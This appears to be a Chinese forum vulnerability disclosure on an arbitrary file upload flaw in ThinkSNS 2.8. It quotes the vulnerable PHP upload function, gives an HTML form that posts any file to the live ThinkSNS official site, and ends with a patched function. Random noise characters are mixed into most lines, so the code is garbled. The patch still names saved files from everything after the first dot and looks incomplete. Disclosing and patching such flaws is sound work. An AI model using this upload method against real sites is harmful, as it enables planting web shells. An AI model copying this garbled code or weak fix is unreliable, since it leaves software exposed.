ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

: r! L/ }' O, ~6 V& I! a
\api\StatusesApi.class.php

9 `, X+ d1 C0 H2 X* \function uploadpic(){
      if( $_FILES['pic'] ){
3 w( ^# G  J. k9 S9 ~7 m" k) h     //执行上传操作
  L/ w5 k( O) j. q     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
% S% n# f4 p/ E2 F( t+ Z    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
- ~, U( b% T1 D7 ~& a: j! \5 V' T       {
        $result['boolen']    = 1;
2 n8 q: K2 s/ ~8 I        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
6 f& P& [5 }% {5 Q       }
' O% j* i" q0 N8 G! O     }else{
( u1 K1 C2 i1 e  Z6 |         $result['boolen']    = 0;
; ^5 n* g/ j7 z         $result['message']   = '上传失败';
     }
return $result;
4 I2 t% U0 B' i' f- ^' H    }
6 H( X7 F/ V1 [- z9 Dunloadpic()方法没有对文件类型进行验证
* A8 @4 ^$ R$ r" Z4 s8 T$ C$ |3 [3 i- f
可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost
* \- Z# V& }4 ]+ f
7 s4 b$ f7 s2 t( H在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
1 ^7 z! }  H9 V- M; m& ]
& |' Z9 {% f+ C7 }( d+ h
在登录thinksns官方微博后,
. G3 ~' E' N5 j& I7 Y2 N构建以下表单:

1 O; ]8 h7 P" ~" n% F& l" P/ i<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
0 F) M9 o! Q8 D# x, `* ~( n: n6 J/ c" ^9 C<textarea name="content">test</textarea>
% v( ~4 d% l1 |  {- _! ?file: <input id="file" type="file" name="pic" />
9 B( u4 ?% O1 g, A$ m" X9 |. o0 R<input type="submit" value="Post" />
</form>
去掉缩略图的前缀(small_ )
4 Q' l3 Q* J" `$ B2 r9 C7 R​修复方案：

& ]6 V$ p) K" \4 e: i7 A
\api\StatusesApi.class.php

9 a% C0 v2 S) o' M7 w7 A' W8 L( gfunction uploadpic(){
     /**
  L6 {- y1 S! |* }/ }, S( e3 G      * 20121018 @yelo
      * 增加上传类型验证
3 [+ }1 g  z4 P% ^! O$ R5 Z+ ?6 k5 Z      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
. N, C1 P' G) S7 @3 G8 P) K7 ~ $allowExts = array('jpg', 'png', 'gif', 'jpeg');
% y+ a8 W  H' O5 m. h0 x$ ~
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
% a$ ]" ~# V1 E0 c
1 K7 k. Q2 E4 c! u     if( $uploadCondition ){
/ }" M1 S* w9 }4 f     //执行上传操作
! H% N1 X. _+ X. T4 L7 J/ K5 x5 ?     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
$ H! s" X* s  @    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
1 ?; S2 E9 O6 n; l- e       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
$ j) s) z1 I- U* k        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
) K/ y. p* e7 s' w6 Q. P, N* ~8 X     }else{
' v: _/ g# C; v$ R* O* J         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
- D- N2 }; V* E3 d6 u0 p- d' ^return $result;
& d. O2 \- @/ o, M& E    }
​
4 z5 Q8 W* B7 b% t